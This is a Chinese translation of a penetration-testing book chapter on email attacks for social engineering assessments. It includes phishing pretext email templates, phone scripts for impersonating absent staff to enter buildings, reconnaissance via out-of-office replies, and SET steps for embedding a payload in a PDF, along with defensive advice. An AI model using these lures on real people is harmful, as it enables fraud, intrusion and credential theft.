原文:
annas-archive.org/md5/db987a87e1478b8a8617c263c631b477
译者:飞龙
第九章:电子邮件攻击矢量
理查德·阿克罗伊德,RandomStorm Limited 高级安全工程师
钓鱼攻击之所以如此流行,是有原因的,它们有效。RSA,全球领先的信息安全组织之一,于 2011 年成功遭受了正是这种类型的攻击。本章将介绍创建成功的钓鱼攻击所涉及的过程和工具,作为社会工程评估的一部分,并旨在提高您客户的防御能力。
关键词
钓鱼攻击;钓鱼式攻击;客户端攻击
简介
在第八章中,讨论了利用开源情报来增强我们的评估的主题。其中包括收集公司电子邮件地址以在我们的攻击中使用。在本章中,我们将介绍如何利用这些情报以及如何执行一些常见的电子邮件攻击。
首先,将讨论钓鱼攻击的使用,分析它们为何如此有效的原因。着眼于"钓鱼式攻击"和"拖网式攻击",以及它们如何在任何持续的参与中都有一席之地,并查看一些真实世界的示例以巩固观点。
下一个要讨论的话题是使用电子邮件进行主动信息收集的行为。这一活动将增强先前获得的情报,从而实现更有教育意义和有针对性的攻击。收集到的信息主要将来自于对精心制作的电子邮件的回复,以及离开办公室的回复。离开办公室的回复对社会工程师来说是绝对的宝藏,因此这将受到密切关注,并演示如何利用这些信息。
之后,读者将学习如何为社会工程师创建一些可信的理由或"借口",以帮助他们在未经邀请的情况下联系某人。这些方法不需要像人们通常认为的那样复杂!保持简单。
接下来将讨论电子邮件攻击,调查一些常见的攻击类型,例如凭证窃取和使用恶意载荷。在本节中,将讨论电子邮件伪造与设置假域名之间的区别,作为攻击源。
事情将以检查如何使用 Metasploit 和社会工程工具包(SET)设置钓鱼活动而结束。这些出色的开源工具使这一过程变得比想象中更容易。
钓鱼攻击简介
什么是钓鱼攻击,为什么它很重要呢?从技术角度来看,钓鱼最初是向大量目标电子邮件地址发送电子邮件,目的是收集敏感数据。这些数据可能是用户名和密码,或者银行详细信息。攻击者可能的目标甚至可能是某人的信用卡详细信息。为了谈论这类攻击的真正根源,有必要回到几百年前,看看像"西班牙囚犯"骗局这样的书面信件攻击,本质上等同于今天的预付费欺诈。
钓鱼攻击不再局限于电子邮件,因为其他交付机制已被攻击者证明同样可靠。例如,社交网络站点是钓鱼的流行分发手段之一。另一种选择是弹出窗口和网站中嵌入的恶意内容。通常,这种机制出现在不太健康的网站上,比如那些含有成人或盗版内容的网站。俗话说,"与狗躺着,起来添虱"。
本章将重点放在电子邮件作为攻击的交付机制上。
几乎可以肯定,任何拥有电子邮件账户的人至少会见过钓鱼电子邮件,有些甚至被它们骗过。
最常见的钓鱼骗局一眼就能看出来。它们写得很糟糕,格式也很差,通常会被任何值得一提的垃圾邮件过滤器拦截。令人担忧的是更专业的努力。这些是那种将呈现出非常精心制作的电子邮件,看起来来自合法组织,如银行、eBay 或 PayPal。它看起来与真实组织的官方电子邮件完全相同,但有一个非常重要的区别。它旨在收集银行凭据或感染系统以安装恶意软件。
在更具针对性的"鱼叉式钓鱼"攻击中,攻击者在创建攻击时投入的努力可能是巨大的。电子邮件不仅与合法电子邮件难以区分,而且还会包含特定于其目标的钩子。在许多情况下,目标会感到被迫立即采取行动。这种攻击的根源很可能来自不太具有针对性的钓鱼活动。攻击者常常利用初始广泛范围攻击中收集的信息来建立鱼叉式钓鱼的基础。
为什么钓鱼攻击有效
从概念和实践的角度来看,为什么钓鱼攻击有效呢?
首先,谁是潜在的目标?你认识多少人没有电子邮件地址?我怀疑答案将是"与我认识的没有手机的人数相同。"谷歌最近发布了其 GMAIL 服务的一些数据。他们称,他们每月有 4.25 亿活跃用户!这只是一个邮件提供商,虽然是最流行的一个。
整个 Google 的发布内容可以在这里找到:
googleblog.blogspot.co.uk/2012/06/chrome-apps-google-io-your-web.html
有了这样规模的目标范围,这几乎就像是在桶里捕鱼一样容易。总结这一点,饱和度是这一切的关键。为什么要针对少数人使用的鲜为人知的服务进行攻击,而不是针对可以针对数亿人的服务呢?即使只有少数人上钩,对攻击者来说仍然有很多好处。
为了将这一威胁置于背景中,RSA 反欺诈指挥中心最近的一项研究显示,2012 年,英国的消费者和企业因网络犯罪而损失了估计 270 亿英镑。其中,消费者损失的 60 亿英镑中,有 4.058 亿英镑归因于钓鱼攻击。根据这项研究,这使得英国成为全球最"钓鱼"的国家,损失的钓鱼金额是美国的 10 倍(来源 : www.antifraudnews.com/scam-information/
)。
因此,似乎绝大多数用户在执行与电子邮件相关的操作之前并没有仔细检查电子邮件。事实上,如果没有反病毒软件和反垃圾邮件软件,这对于当前全球超过 20 亿人口的互联网用户群来说肯定会是一个更大的问题,根据引用的谷歌文章。
客户端攻击
深入探讨钓鱼攻击成功的原因意味着需要稍微看一下技术,包括传统的防御策略。客户端攻击的概念是,发送到计算机的入站流量,即使在家中,通常也会被路由器或防火墙阻止。然而,任何出站连接很少受到相同限制的约束。在家里,客户端到互联网上任何资源的完整出站访问是有可能的,无论是合法的还是恶意的。即使在企业环境中,客户端也很有可能具有某些出站访问权限,尽管这些权限也会在一定程度上受到诸如防火墙和内容过滤器等安全设备的限制和控制。
这就是为什么电子邮件钓鱼攻击如此有效。举个例子,如果攻击者想要破坏系统,他们可能会选择在电子邮件中包含一个恶意文件,比如一个嵌有负载的 PDF。如果负载绕过了入站防病毒签名,也许是通过编码或加密机制,那么出站访问就会允许目标向攻击者建立返回连接。在某种程度上,这就像等待行星排列一样。创建一个既可以绕过外围防火墙又可以绕过客户端防病毒的负载是一回事,目标系统仍然需要对攻击具有漏洞性。这就是为什么对数百万封电子邮件进行广泛的钓鱼尝试是成功的原因。它们只需要找到 1-2%的处于脆弱状态的系统就足够有效,因此是有利可图的。
另一种方式,也可以说是更成功的方法,就是根本不附加任何东西。这些是最具风险的攻击方式,也是两者中更难检测到的。它通常是一封看起来像是来自金融机构的电子邮件,比如在线银行提供商。邮件中可能会有某种类型的请求,也许是一条通知,说有一笔大额出账交易从某个账户进行了,然后提供一个链接,登录在线银行以确认其合法性。当然,只要有人点击链接登录,他们的凭据就会被攻击者使用克隆站点收集起来。克隆站点很可能会将受害者重定向回合法的银行网站,让他们以为自己输错了密码。等到他们登录到实际账户时,账户已经是空的了。不幸的是,并非所有的在线银行提供商都采用了双因素身份验证设备,这只会加剧问题。尽管如此,即使是双因素系统也不能解决所有问题,如果认证被拦截,仍然有可能重放捕获的凭据来登录合法的银行网站;唯一的区别将是攻击者进行身份验证的受限时间。这是因为大多数双因素系统生成的是一次性使用的限时密码。这个过程可能会被攻击者自动化,所以时间限制很少成为问题。
总之,钓鱼攻击之所以有效,是因为目标数量庞大,客户端防御不够理想,以及人们愿意点击几乎一切他们收到的东西。
鱼叉式钓鱼(Spear phishing)与搜寻式攻击
搜寻式攻击
谈到基于电子邮件的攻击时,搜寻式攻击(trawling)无疑是最常见的。这些邮件每天都会收到,稍微有点可疑,已经发送给了数百万人。它们根本不是针对个人设计的,因此在收件人甚至还没有读完它们之前就可以轻松识别出来。前提是它们首先要到达收件箱。
在对组织进行评估时,原则仍然存在。会向在侦察阶段收集到的所有企业地址发送一封通用电子邮件。通常这是由于严格的时间框架或者因为客户想要测试内部系统和政策是否按照预期运行。事实上,虽然这些行动可以为客户提供价值,但它们相当笨拙,并且往往会在企业内触发广泛的警报。邮件的内容仍然会在一定程度上针对组织,但肯定不会像更有针对性的方法那样具有详细的细节。
鱼叉式网络钓鱼
鱼叉式网络钓鱼会采用更加个人化的方式进行攻击。会针对商业机构内的特定部门或个人,以确保能够获得合适的反应。
举例来说,一个在商业环境中工作并且每天都处理大量电子邮件的人,比如招聘顾问,很可能成为带有恶意简历附件的垃圾邮件的目标。他们很可能经常收到这种类型的电子邮件,因此,假设电子邮件的正文写得很好,他们很可能会打开附件。这次行动的侦察工作可以完全使用 LinkedIn 完成,在开源情报章节中有所涵盖。邮件并不需要很复杂,只需简单说明他们正在寻找某个特定职位的工作,并要求将你的简历记录下来,以便在有职位空缺时联系。
攻击手段可以比这个更加个人化。在过去一次任务的侦察阶段中,注意到目标组织的一名员工在当地一个壁球联赛中使用了他们的企业电子邮件地址。相关的电子邮件地址是使用"theharvester"发现的,而团队已经追踪到了它的来源。该网站详细列出了过去和即将进行的比赛,包括一些该员工将要参加的比赛。
攻击向量现在已经足够简单。甚至不需要为电子邮件注册一个假域名。只需假扮为联赛中即将出现的对手之一,并使用一个通用的 GMAIL 帐户,就可以创建一个针对受害者的电子邮件。该电子邮件将包含有关不得不临时重新安排的即将到来的比赛的信息,并提供一些有关新日期详细信息的有用链接。当然,这些链接在点击时将显示日期,因为这需要尽可能真实,但它也会加载一个损害他们系统的恶意 Java 小程序。选择攻击的正确时间至关重要。显然,这封电子邮件需要在办公时间内发送,以增加损害企业机器的机会。这也减少了损害非企业机器的风险,这绝对不是本意。
构建一个良好的鱼叉式网络钓鱼电子邮件极大地依赖于在侦察阶段收集到的情报。可能会发现没有可用的信息,因此整个组织必须被搜寻。正如在开源情报部分所指出的,追溯每个企业电子邮件地址在互联网上的来源通常会打开一些攻击途径,就像上面的挤压示例一样。在这里也不要忘记检查 Facebook Graph Search 的结果---"在 xyzcorp 工作的人"非常有用。也许,在这个阶段能够深入了解人们的兴趣,并找到可以利用的东西!
真实世界的网络钓鱼示例
在讨论了什么是网络钓鱼及其各种形式之后,提供一些真实世界的例子将非常有用,然而,有大量在线资源(www.hoax-slayer.com
,www.antifraudnews.com
,www.securelist.com/en/
等)供读者使用,以加深对威胁的理解和认识。
美国运通---驱动下载
他们说一幅图画出千言万语,所以看看图 9.1。这是最近收到的一封电子邮件的示例。
图 9.1 驱动下载网络钓鱼电子邮件。
乍一看,它看起来并不可怕。实际上,对于一个偶然观察者来说,它可能看起来完全合法。品牌看起来还可以,布局也不错。事实上,这实际上是一个驱动下载网络钓鱼诈骗,最早在 2012 年被注意到,并且相当普遍。驱动下载基本上是在目标机器上下载恶意软件而目标不知情。通常通过恶意链接传递这些。
这封邮件的实际收件人既没有,也从未拥有过美国运通卡。显然,它被设计成发送给大量潜在目标,希望有几个百分点点击邮件中的一个超链接。点击链接会发现它们都指向同一个恶意 URL。在这种情况下,该站点可能托管恶意 Java 小程序或 ActiveX 控件,这将允许完全妥协任何易受攻击的系统。
始终值得在浏览器和邮件客户端中启用悬停功能。这些在指针悬停在链接上时显示真正的 URL。
阿塔纳索夫·加文博士------预付费诈骗
这是预付费诈骗的典型例子,而且相对而言写得相当不错。当然,这并不意味着商店更加可信。预付费诈骗(也称为 419 骗局或尼日利亚骗局)基本上是诱使受害者花费一点钱,承诺未来大笔报酬的过程。它们和时间一样古老,可以追溯到 19 世纪和"西班牙囚犯"骗局。关于这种类型骗局的更多信息可以在www.hoax-slayer.com/nigerian-scams.html
找到(图 9.2)。
图 9.2 预付费诈骗电子邮件。
这种骗局有很多角度,但大多数都涉及某种错误的继承,或者至少是一个陷入困境的富有个人。当然,在当前 23 亿使用互联网的人中,受害者可能是唯一能够拯救他们的人。
别自欺欺人,这些邮件完全不可信,但肯定有人在上当受骗。否则,为什么它们会存在呢?正如已经指出的,这种骗局至少写得很好。这在钓鱼邮件中并不常见。这很可能是因为从事这种活动的热点地区通常不以英语为母语。
苹果 ID 诈骗------收集凭证
实际上,这是一种真正精心制作的钓鱼行为。前提是收到一封邮件,要求验证苹果 ID,方法是通过提供的链接登录。点击链接后,会看到一个非常专业的苹果 ID 登录页面的复制品。页面上的所有其他超链接都指向合法的苹果页面,除了"忘记密码"和"创建帐户"链接。这些链接实际上返回到攻击者的站点,该站点实际上呈现一个 404 错误页面。骗子显然还没有完全解决问题(图 9.3)。
图 9.3 苹果 ID 诈骗。
第一个线索是,苹果绝不会发送一封请求验证登录详细信息的电子邮件。第二个指标是 URL,与苹果毫无关系。看看图 9.4,看看这些欺诈活动是如何精心制作的。
图 9.4 低端电子邮件诈骗。
显然,很难将其与真实情况区分开来。最近,Apple ID 钓鱼诈骗案件正在增加。这可能是因为其中大多数与信用卡相关联,用于 iPhone 和 iPad 上的快速购买。类似这种的克隆创建,稍后在本章中进行讨论。任何之前没有创建过的人都会对整个过程的简单性感到震惊,以及这将在几秒钟内启动!
没有人会上当的。没有。从来没有。
这是尽可能低端的。即使垃圾邮件过滤器也捕获了这一个。因此,这个例子仅被包括进来,以展示苹果案例和这个劣质诈骗之间的对比。
是的,ccunit@zhot.net。看起来很合理。真的有人会上当吗?它们肯定有一定的流通原因。也许只是用于娱乐目的?事实上,亲自回应这封邮件,以科学的名义,实在是非常诱人的,尤其是在阅读了以下内容之后:
请回复此邮件,以便我指导您如何获取您的金额。
显然,已经花费了足够的时间讨论这个例子;事实上,花在讨论上的时间可能比制作这个骗局的骗子花费的时间还要多。
主动电子邮件侦察
尽管我们的社会工程学参与已经广泛讨论了侦察阶段,但仍然有进一步探索更多信息的空间。简单来说,电子邮件将发送到目标组织,而响应可以成为进一步攻击的基础。
这绝对是一种更具侵入性的信息收集方法,这也意味着更大的风险。这还意味着,随着风险而来的可能是更大的回报。可以发现一些小小的信息,这些信息对于任何正在进行的电子邮件攻击和总体参与都是非常有用的。即使看似无害的信息也可以为攻击者提供丰富的资源。例如,商业界几乎每个人都使用自动化的电子邮件离职回复,但是这样做合适吗?这是否会为潜在的违规行为打开大门?继续阅读以了解详情。
未投递报告
在这里,简要涉及了未投递报告(NDRs)的主题,因为它们通常至少包含有关组织资产的一些信息,特别是如果它们托管自己的邮件服务器。
这个过程相当简单,而且绝对值得花费 5 秒钟来执行。只需向目标组织的一个已知不存在的地址发送一封电子邮件。就是这样。
几秒钟后,会返回一个 NDR。这里感兴趣的是 SMTP 头中的 X-Received 和 X-Originating-IP 值。这些字段有时可能包含内部 IP 地址空间,这对于攻击者在适当位置时总是有用的!
MIME-Version: 1.0
X-Received: by 10.68.254.42 with SMTP id af10mr2443747pbd.154.1378061024083;
Sun, 01 Sep 2013 11:43:44 -0700 (PDT)
Received: by 10.70.28.225 with HTTP; Sun, 1 Sep 2013 11:43:44 −0700 (PDT)
Date: Sun, 1 Sep 2013 19:43:44 +0100
如果评估的一部分需要插件和黑客攻击,一旦组织总部被物理入侵,这绝对值得一小笔支出。至少会知道一些内部 IP 地址空间。
离开办公室时的自动回复
许多企业鼓励员工使用它们,但通过使用它们会透露哪些信息?人们是否通过包含过多信息而使自己暴露于攻击?在大多数情况下,答案是肯定的。人们通过泄露看似无害的信息而使自己暴露。
在合作期间,即使不进行直接的电子邮件攻击,离开办公室时的自动回复也是情报的绝佳来源。
可以找到什么,以及如何利用这些信息?
首先,它确认了账户的存在以及有人在使用。这可能是在合作期间可以验证的第一点。它还确认了电子邮件地址的公司命名约定。当然,这意味着可以根据最佳猜测调整任何电子邮件列表。
在离开办公室时,通常会在自动回复中包含"我离开时应联系谁 "的信息,这至少为接下来的合作提供了更多确认的联系方式。当打电话时,可以提及缺席员工的名字。例如,"嘿,上周我和汤姆交谈过,他说他这周要休假,但说我可以过来坐坐,用他的桌子。我到接待处时可以找你吗? "或者如果觉得这样有点冒险,"他说他已经为我安排了一个会议室/热座,你能告诉我到达时需要和谁联系吗?"再次强调,这不仅通过知道员工的名字建立了可信度,还表明他们在被打电话时会不在。一种普遍的看法是目标会立即将这种情报与自动回复联系起来,但事实上,大多数人根本不会多想。
接下来,也可能是回复中最有用的信息,将是签名。签名中充满了诸如直拨电话号码、移动电话号码等诱人的信息,更不要忘记签名本身。然后,整个签名将被复制并在与目标组织的其他员工交流时使用。这将是因为注册了类似目标的域名。令人惊讶的是,这种方法有多么有效!这将在本章后面更详细地讨论。
在回应中我们还会期待看到什么?一个明显且常见的包含是办公室离开的日期和预计返回日期。这在测试的物理部分中可能非常有用,特别是当其他线索很少时。在处理这种情况时有几种合理的选择。
不存在的会议
第一种选择是出席与缺席的个人的会议。然而,这与工程师能否轻松扮傻和在接待员发现目标缺席时表现出惊讶紧密相关。此时,常常会认为游戏结束了,然后离开,但如果操作得当,可以进一步利用接待员的愧疚感,比如"我们来这么远只是为了见他,而且被保证他会在,你确定他今天不会回来吗?"此时,可以鼓励接待人员再次核实,始终展现出礼貌和专业的态度,尽管表现出不耐烦通常会迫使个人做出积极的回应。确认目标缺席后,可以询问接待员是否有一个安静的地方可以打一些私人电话,以确认发生了什么,也许是一个会议室?幸运的话,这可能会为进入建筑物铺平道路,但在最坏的情况下,工程师可以毫无疑虑地离开,而不引起任何怀疑。与会议室的替代方案是询问目标是否有一个食堂,以便在再次上路之前吃点东西和喝点东西。当然,如果事先已经确定食堂区域超出了物理安全控制范围,这将更有用。在过去的合作中,社会工程师已经被发放通行证,并被引导走向通往食堂区域的门。在去食堂的路上有一排会议室,每个会议室都有活动的接口。接下来会发生什么,不难猜到!
冒充缺席的员工
这个可能更难以实现,但在多次实践中我们成功过。其前提很简单,你打电话给一个联系人,最好是前台,假装是离开的员工。你告诉前台有一个与承包商的会议,他们打算进行一些重要的维护工作,但被忽视了你请假了,但你忘了自己有承包商来为你执行工作,而且不能与他们见面。此时,需要澄清的是,你询问在这种情况下安排通行证的程序是什么?此外,在此时,还可以尝试预订一个会议室,以便承包商有地方可以工作。这是一种令人惊讶的有效但简单的获取未经授权进入场所的方法。经常发现,如果咨询师能够表现得焦急,并暗示你真的犯了一个大错,更有可能从目标那里引起同情。你甚至可以考虑通过提到安排工作的费用以及试图避免你的老板发现你犯了如此基本的错误来加强同情票。这对你的参与有两个效果。首先,你通过提及一个有权威的人物增加了一点压力。其次,前台不太可能告诉内部任何人正在发生什么。当这个计划成功时,进出都非常顺畅。关键部分是能够以合理的方式完成面对面的事情。然而,已经通过电话安排好通行证后,面对面的事情就更容易了。这与对你的前文有真正信仰是一样的,这也使得出现变得更容易。必须有强烈的信念,认为存在合法的理由在那里。
创建可信的电子邮件情景
现在我们已经看到了通过这些技巧我们可以获得多少有用的信息,那么在发送电子邮件时,我们如何避免被识破呢?我们需要一些足够通用以避开怀疑,但又足够具体以获得人们回应的情景。
在本节中,我将介绍一些我们过去成功使用过的可用示例。
记住,你不一定需要演出这个前文;你只是在寻找员工的回应或者离岗信息。不要想得太复杂,只需要构想一些情景,让你被联系到是出于未经邀请的状态,并将其塑造成你自己的情况。
这并不是说你不能将最初的侦察转变为攻击。这取决于你得到的回应类型。如果你觉得可以与某人建立融洽关系,或者可能找到一个易受攻击的目标,那就去试试吧。
如果您将电子邮件发送给许多人,请确保将所有目标密件抄送到电子邮件中。一封发给一百个内部联系人的邮件总会引起目标组织的警觉
工作经验实习
这是最直接的策略之一,通常可以发送到企业内任意数量的电子邮件地址。只需确保每个目标都在密件抄送字段而不是收件人字段中。尝试将电子邮件目标列表分成几组,以避免在一次尝试中烧毁所有桥梁。
这个想法很简单,建立一个虚假的邮件账户,选择提供者,比如 GMAIL。考虑使用一个女性名字来设置账户,以利用 IT 行业被认为是男性主导的环境这一事实,结果人们比起男性更不警惕。如果对目标有更多了解,这可以定制以匹配特定目标。
因此,请考虑发送一封类似以下内容的电子邮件:
早上好,
我目前正在寻找一份作为大学学位一部分的工作经验实习。我正在寻找当地的企业,并注意到贵组织在我选择的市场营销领域非常突出。您能告诉我您是否接受工作实习生,或者将来是否会这样做吗?您能提供的任何与此相关的帮助将不胜感激。
致以最诚挚的问候,乔安妮
避免过于复杂或过度思考的方法。没有必要用一大段文字来压倒目标,因为目标一看到就更有可能将其放入回收站。现在,只需坐下来等待回复即可。
通常情况下,预计会收到一些外出办公回复的消息,它们的实用性已经被讨论过了。几乎不可避免地会有人回复,提供更多信息或者提供信息表明这封电子邮件将被转发给相关部门。偶尔,这封电子邮件可能会将相关部门抄送到电子邮件中,提供另一个有效的目标。
武器化情景
武器化这种方法相当简单,但依赖于组织内可以建立关系的人的回复。如果你能在几封电子邮件中保持对话,目标就会完全放松警惕。不要低估通过电子通信与某人交流的感觉。这就是我们生活的时代!
在这一点上,现实的做法是附上您的简历,或者附上您的网站链接,其中有您的工作样本。当然,简历中将嵌入一个有效负载,而作品集将提供一个恶意的 Java 小程序。我会说,考虑到目前的情况,网站链接更有可能逃避安全系统的检测。
大学项目
这是另一种简单而不错的方法,它的工作方式与"工作经验实习"类似。这个想法是利用与目标企业相关的学校或学院项目,并询问是否有人在企业内部有能力提供帮助。通常最好选择一个在该地区的教育机构,他们可能以前可能已经联系过的机构。
下午好,
我目前在 XYZ 学院学习,并且正在从事与航空航天领域广告使用相关的项目。我的一个朋友注意到您位于该地区,并且在行业中很受尊敬。我想知道您是否能给我一些建议或提供能够帮助的人的联系方式?我在项目上有点落后,所以任何帮助将不胜感激。
亲切的问候,罗布·史密斯
再次强调,这只是一个简单的电子邮件,类似的事情企业可能会经常收到。冒充学生提供了保证,而且电子邮件中没有任何不合适的地方提供了一个保证干净的退出,如果需要的话。
武器化情景
鉴于正在寻求项目帮助和批评,这种情况非常适合包含一个指向工作的链接,当然这可能是恶意的。更好的是,如果社会工程团队中有足够年轻的成员可以做到,为什么不看看是否可以安排面对面会议,与企业内部的某人见面。出现并有护送、通行证和在那里的理由是最好的。一个非常基本的网站可以在很短的时间内完善,以增加可信度。此外,考虑准备一些问题,可能会透露有关内部系统的信息。
例如,其中一个问题可能是:
您是如何监视竞争对手在广告方面的做法,并保持领先的?
如果他们回答说他们使用互联网来研究他们选择的领域,那么他们无意中提供了关于他们拥有出站互联网访问的非常必要的信息。这在以后的有效载荷部署中可能会派上用场。显然,鉴于已安排了面对面的访问,原始链接不会是恶意的,以避免被发现的风险。它可能是一个记录所有访问的干净网站,以便了解网络访问的水平,以及他们正在使用的浏览器类型。
另一个非恶意网站的有趣想法是在页面中包含一些指向实际存在于不同端口的其他页面的链接。例如,TCP/22 用于 SSH。如果链接对目标有效,它将能够将流量隧道化到网络外。
因此,经过几个例子的介绍,以及您如何在实际参与中使用它们,让我们用一些更多的例子来总结本节。我不会设计一个示例电子邮件,让您自己想出一个场景。
招聘顾问
同样地,关键在于不受欢迎的招聘顾问的电子邮件是司空见惯的;因此,这不会引起警觉。
假设是有几个候选人,担任不同的角色需要被安置,其中一些候选人将是业务中可用角色的理想人选。在邮件中提供一些候选人及其技能的详细信息,并使其看起来可信。
同样地,可能会有自动回复、非送达报告(NDRs)和真实回复。希望在真实回复中能找到愿意处理邮件或至少提供相关详情的人。然后可以引入包含嵌入式负载的简历。
销售人员
这将是获取有关内部系统信息的一个好场景。例如,如果任务是确定目标组织是否使用思科交换机;可以伪装成硬件供应商的电子邮件,提供一些关于思科交换机的好交易。他们可能会无意中提供他们已经有了思科设备的首选供应商的信息------结果!从这里,可以通过几封电子邮件逐渐发展关系,并逐渐获取更多信息,甚至可能导致对目标的电话。这种情况可以应用于任何技术以获取有关基础设施的信息。对于终端用户明显可见的技术,甚至可能会得到他们的回复。这里的一个经典例子是防病毒软件。请记住,任何直接收到的回复都是一个额外的好处。这纯粹是在寻找可以在进一步攻击中使用的非送达报告、签名和自动回复。
这些类型的电子邮件,只要稍加时间和精力,就可以为评估带来巨大的成果。在看完创建个别攻击之前,以下是一些防范钓鱼攻击的基本思路!
防范钓鱼攻击
防范钓鱼攻击可以分为两个高层次的类别:技术方法和人为方法。这两者的结合最有可能防止这些类型的攻击。本章不会讨论教育员工的具体细节;这些只是改善你的姿态方法的高层次想法。
教育和意识方面的想法在第十五章中有更详细的介绍。
技术方法
钓鱼攻击的技术方法是那些终端用户实际上并不涉及的方法。换句话说,尽量在人为参与之前尽量减少风险。下面将讨论一些可能有所帮助的技术。
在网关、邮件服务器和终端或客户端机器上设置垃圾邮件和防病毒产品
这些解决方案将挑出易捡的果实和明显的欺诈行为。
基于主机的入侵预防或"HIPS"产品,以及基于网络的入侵预防系统
这些系统可以识别出恶意活动和网络流量,假设流量未加密。
客户端应用程序打补丁
确保客户端应用程序保持最新。这包括 Java、Adobe Reader 和浏览器!绝大多数客户端攻击都针对 Java 和 Adobe 产品。
出站内容过滤------防火墙和代理
将出站端口访问限制到绝对最低限度应该是首要步骤之一;然而,这在许多组织中都是缺乏的。大多数企业倾向于关注入站访问并保护周边。这导致了坚固的外部,软弱的内部的情况。
使用白名单的内容过滤可能是更好的方法之一。维护一个允许网站的最小列表,几乎没有恶意链接会漏过检查。透明代理可能是最佳选择,因为它们对用户来说是最难绕过的,而且他们会试图绕过它们。
人为方法
人为方法是用户在工作时可以直接实施的方法。它们通常是应该在家和工作场所都实施的简单建议。
首先,确保在悬停在超链接上时显示真实的 URL。用户需要知道其功能,并且需要解释,显示为链接的内容并不总是合法的。
在工作场所教育用户一般信息安全实践也会有所帮助。例如,确保用户知道合法的服务和企业不会发送要求敏感细节的电子邮件。
运行悬赏计划。如果用户识别出恶意电子邮件并将其提请给技术团队,他们将获得奖励。然后使用恶意电子邮件来教育普通用户群体。显然,避免仅仅将其转发到整个邮件列表---例如选择截图。
尽可能向用户展示更多的钓鱼邮件示例,并指出它们之间的共同特征。
给用户灌输一种偏执的感觉可能看起来有些极端,但在涉及到未经请求的通信时,这是唯一的出路。每一份入站通信都应该被仔细检查是否存在恶意内容。
记得在邮件客户端中启用功能,以便在发件人字段中显示完整的电子邮件地址。许多邮件客户端会用发送者在配置他们的帐户时设置的名称来替换此内容!
建立自己的攻击
在本节中,我们将探讨设置社会工程学参与的电子邮件攻击。通常来说,大多数参与方会使用 SET------www.trustedsec.com/downloads/social-engineer-toolkit/
和 Metasploit------www.metasploit.com
。
这两个工具都可以免费获取,并且都随着 BackTrack 和 Kali Linux 一起发布。
SET 由 David Kennedy,又名 ReL1K 创建,是一个用于自动化评估大部分工具的框架。对于本节,我们将专注于与电子邮件相关的攻击。
欺骗电子邮件与伪造域名
在我们实际执行攻击之前,我想谈一下关于电子邮件攻击的一个重要问题。
首先,人们仍然谈论欺骗电子邮件,好像它们在当今的环境中具有相关性;但实际上,它们很少起作用。有几种不同的技术使欺骗变得非常困难,并且存在于许多邮件网关中。首先,大多数产品会意识到外部邮件不应该来自内部或公司域。换句话说,如果你欺骗邮件看起来是来自 bob@offensivesite.com,邮件网关会知道你不属于这里并删除消息。
第二个特性是反向 DNS 查询。邮件网关会检查你的 IP 地址是否解析为你在 SMTP 连接时声称发送的域。当它意识到没有匹配时,它会删除或隔离你的消息。这意味着你需要有一个正确设置的 SMTP 服务器,并且你需要拥有一个可以使用的域。所以相信我当我说,你永远不会以 bill.gates@microsoft.com 发件人地址给微软的某人发送邮件。这是不可能的。除非你是比尔·盖茨,如果是的话,谢谢你购买这本书,比尔。这并不意味着你不能在向另一个组织发送邮件时冒充比尔;这只取决于他们的邮件网关和相关安全产品设置得有多好。
欺骗电子邮件的最大问题之一是,即使你认为它们可能有效,你也会冒着等待回复浪费大量时间的风险。电子邮件攻击是盲目的努力,除非你收到自动回复或实际回复,否则你不会知道它是否达到了目标。
因此,如果你想要让你的电子邮件看起来像是来自内部联系人,最好的选择就是注册一个类似的域名,或者一个与之相同但顶级域名(TLD)不同的域名。例如,你的目标可能在使用offensivesite.com,但我们可以去注册offensivesite.net。你认为在一个组织中有多少非技术员工会注意到这个差异?即使他们注意到了,他们会质疑吗?也许这是另一个可以考虑纳入组织教育政策中的事项。
谈到注意到差异,还有一个有趣的欺骗想法。在大多数邮件客户端中,当接收到一封电子邮件时,你看不到发送者字段中的电子邮件地址。你看到的是一个名字。这个名字是发送者在设置他们的账户时定义的,本身也可用作一种欺骗手段。对于未来的参与者来说,这绝对值得牢记,而且是的,这在以前的某些情况下确实奏效过。
我的首选方法始终是注册一个类似的域名。有时候,你可能会被迫更换一些看起来相似的字符,因为所有的域名都被占用了,但这只是其中一部分乐趣。通常我们会使用谷歌应用程序进行此过程,因为它简单且快速上手。你注册你的域名,几乎可以立即开始为任何你最喜欢的借口设置多个邮箱。你可以为每个账户设置一个与目标组织相匹配的 HTML 签名,这只会增加合法性。事实上,我敢说大多数人可能只看这个来判断电子邮件是否来自内部联系人。这就像是电子时代的制服!
阻止包含你公司名称的任何域名不是一个好主意吗?即使你没有拥有该域名本身?值得思考。
SET
正如我们之前简要提到的,SET 是一个出色的社会工程学框架,将极大地帮助您减轻参与的工作量。对于你的客户来说,这意味着你可以在更短的时间内提供更多价值。每个人都赢!
那么我们在哪里可以找到 SET 呢?假设你正在使用 Kali Linux,你可以在命令 shell 中键入 se-toolkit,或者在 Kali 菜单中找到它,路径为应用程序>Kali Linux>利用工具>社会工程学工具包。
在此时假设没有发生任何爆炸,你应该会看到类似于图 9.5 的东西。
图 9.5 SET 菜单。
SET 完全是菜单驱动的,这使得它非常容易上手。我会从按下"5"键开始,并等待任何更新完成后再继续。
鱼叉式网络钓鱼攻击向量
鱼叉式网络钓鱼向量是一种非常流畅、自动化的方式,可以创建和传递恶意文件给选择的目标。SET 包含执行所有繁重工作的功能,包括发送电子邮件。接下来是创建负载并使用 SET 登录到 Google Apps GMAIL 帐户并发送电子邮件。
如果这将定期进行,那么建立模板并使用 SET 传递任何恶意电子邮件可能是值得的。
因此,如果您现在正在查看 SET 的主页面,请选择 Spear Phishing Attack Vector 的选项 1,然后选择选项 2 创建一个 FileFormat Payload。
在这一点上,您将看到一个庞大的选项列表。如果您对目标的内部系统了解足够,最好选择适合环境的选项。在这个例子中,我们将坚持基本原则,在 PDF 中嵌入一个恶意可执行文件---选项 15(图 9.6)。
图 9.6 PDF 嵌入式 EXE。
接下来,您将选择使用自己的 PDF 作为恶意文件的基础,或者使用空白模板。在这里的选择将取决于您希望摆脱多干净。也许您需要一个备用计划,以防负载路径不起作用。在这种情况下,请确保您的 PDF 包含与您现有假设相关的一些有效内容。出于演示目的,我们将选择内置的空白 PDF。
在这一点上,如果您熟悉 Metasploit,您将会认出这一页上的许多内容。这是您选择要部署的负载类型的时候。在这一点上,您需要仔细考虑您的目标。可能值得看看加密的负载,以确保应用防火墙和入侵防御系统不会破坏您的计划。
